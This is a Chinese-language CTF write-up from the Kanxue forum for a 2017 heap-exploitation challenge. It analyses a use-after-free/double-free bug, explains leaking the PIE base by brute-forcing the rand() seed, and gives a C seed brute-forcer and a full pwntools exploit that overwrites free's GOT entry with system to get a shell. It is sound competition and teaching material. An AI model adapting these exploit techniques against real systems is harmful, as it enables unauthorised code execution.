-
-
[原创]看雪.TSRC 2017CTF秋季赛第四题WP
-
2017-10-31 12:25 3395
-
看雪.TSRC 2017CTF秋季赛第四题WP
这是此次比赛的第一个PWN题型。打开看了下,竟然似曾相识的感觉。下面先简单说下程序功能。
程序功能分析
程序主功能流程在偏移为121A
的函数中:
int sub_121A() { __int64 savedregs; // [rsp+10h] [rbp+0h] *(_QWORD *)&seed = &seed; srand((unsigned __int64)&seed); while ( 1 ) { menu_A9F(); printf("> "); inputnum_AFA(); switch ( (unsigned int)&savedregs ) { case 1u: getbox_C29(); break; case 2u: destroybox_DDB(); break; case 3u: leavemessage_EDC(); break; case 4u: showmessage_103B(); break; case 5u: randnum_1115(); break; case 6u: return name_exit_1194(); default: puts("It's not a operation!"); break; } } }
先以seed
变量地址为种子初始化随机数,然后进入循环体通过switch表进行功能选择及操作。功能函数有6个,功能分别为:
getbox
--申请堆destroybox
--释放堆leavemessage
--堆内写数据showmessage
--堆内读数据randnum
--验证随机数name_exit
--退出程序
大致看下就知道应该是堆方面的漏洞利用了。一共可以申请管理5个堆,编号1-5。与堆有关的全局变量(常量)共有4个,分别是:
- 堆地址,记作
box_addr[]
- 堆尺寸,记作
box_size[]
- 堆使用标记,记作
box_flag[]
- 堆可释放标记记作
destroy_flag[]
功能函数不详细说了,只说主要点。
getbox申请堆时,先检查box_flag[i]
,未使用过才可申请。然后会根据前后已申请堆的大小来检查当前输入尺寸,检查原则是前小后大且差值不小于16字节。申请成功后,box_flag[i]
置位,当前堆大小写入box_size[i]
,堆地址写入box_addr[i]
,在释放时该堆时,box_flag[i]
、box_size[i]
box_addr[i]
保持不变。
destroybox释放堆时,会检查box_flag[]
和堆可释放标记destroy_flag[i]
,结合此常量值,可释放的堆编号只有2,3,5。并且堆释放后,并不对上面说的与堆相关的全局变量作清除工作。致使box_addr[i]
成悬空指针,
leavemessage和showmessage就是向堆中写数据和读数据了,写的时候会检查当前堆的尺寸,读是直接puts
。
randnum是猜测程序的下一个随机数,如果猜对则打印出seed
值,实际上就是其地址。
漏洞分析及利用思路
通过上面的程序功能说明,已然发现可以利用double free
方法,关于此方法可参看我的另一篇WP。
申请编号为2,3的堆,释放;再申请编号为4的堆,尺寸为2,3之和;向4号堆写数据,构造两个free状态的chunk;释放3号堆,造成double free,触发unlink,修改box_addr[3]
数值;申请1号堆,并通过堆写数据修改box_addr[3]
数据为free
函数的got.plt
地址,即box_addr[1]
指向got.plt
;通过showmessage
泄露libc函数地址;通过堆写数据修改box_addr[1]
数据为system
函数地址;修改3号堆数据为/bin/sh
并释放,getshell。
以上思路看似不错。但是当打开虚拟机,checksec一下会发现,PIE
开启,box_addr
地址不知,那就不能构造free状态的假chunk,一切成为空谈。这就说明还是按步就班的好。
仔细想想,程序中有一个功能函数可以泄露程序的基址,那就是看上去不起眼的猜随机数的功能函数,猜对随机数就能得到seed
地址,那一切又水到渠成了。
我们知道这个随机数是伪随机数,只要知道种子,就能知道随机数的出现序列。此程序的随机种子实际上是seed
地址的低4字节。seed偏移一定,程序基址4K对齐,那后12bit是已知的。那可以通过程序的第一个随机数暴出种子,得到下一个随机数,再通过程序功能得到seed
的完整地址。
在实现上,exp脚本先读取程序的第一个随机数,调用暴破用的C程序,得到下一个随机数提交给程序获得程序基址,再进行堆漏洞的利用。
代码如下:
#include <stdio.h> int main(int argc,char *argv[]) { int num,i; if (argc == 2) num = atoi(argv[1]); else { printf("wrong!!"); return 1; } printf("rand1:%d\n",num); for (i = 0x148; i < 0xfffff000;i=i+0x1000) { srand(i); int n = rand(); if (num == n) { printf("rand2:%d\n",rand()); printf("addr:%x\n",i); } } }
#!/usr/bin/env python #Author:poyoten @ Chamd5 from pwn import * import sys,os,re context.arch = 'amd64' libc = ELF('./libc.so.6') if len(sys.argv) < 2: p = process('./club') context.log_level = 'debug' else: p = remote(sys.argv[1], int(sys.argv[2])) def create(index,size): p.recvuntil('exit\n> ') p.sendline('1') p.recvuntil('huge\n> ') p.sendline(str(index)) p.recvuntil('> ') p.sendline(str(size)) def leavemess(index,content): p.recvuntil('exit\n> ') p.sendline('3') p.recvuntil('huge\n> ') p.sendline(str(index)) p.sendline(content) def showmess(index): p.recvuntil('exit\n> ') p.sendline('4') p.recvuntil('huge\n> ') p.sendline(str(index)) def randnum(snum = '1'): p.recvuntil('exit\n>') p.sendline('5') p.recvuntil('guess:\n>') p.sendline(snum) s = p.recvuntil('!\nYou') return re.findall('\W(\d+)!',s)[0] def delete(index): p.recvuntil('exit\n> ') p.sendline('2') p.recvuntil('huge\n> ') p.sendline(str(index)) def exp(): create(1,0x30) rand1 = randnum() rlog = os.popen('./a.out '+rand1).read() rand2 = re.findall('rand2:(\d+)\n',rlog)[0] seed_addr = int(randnum(rand2)) #breakaddr = seed_addr-0x202148+0x1260 #gdb.attach(p,'b *'+hex(breakaddr)) #raw_input('begin?') system_off = libc.symbols['system'] #0x45390 free_off = libc.symbols['free'] got_addr = seed_addr-0x202148+0x202018 p_addr = seed_addr-0x202148+0x202110 log.info('got_addr:'+hex(got_addr)) log.info('gen point to control...') #raw_input('create2?') create(2,0x100) #raw_input('create3?') create(3,0x110) #raw_input('delete2?') delete(2) #raw_input('delete3?') delete(3) payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100) #raw_input('create4?') create(4,0x220) #raw_input('message4?') leavemess(4,payload) #raw_input('delete3?') delete(3) log.info('leaking address...') #raw_input('leak?') leavemess(2,p64(1)+p64(1)+p64(got_addr)) showmess(1) free_addr = p.recv(6) #raw_input('already show?') system_addr = u64(free_addr+'\x00'*2)-free_off+system_off log.info('system address:'+hex(system_addr)) log.info('get shell!!!') leavemess(1,p64(system_addr)) leavemess(3,'/bin/sh') delete(3) p.interactive() if __name__ == '__main__': exp()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法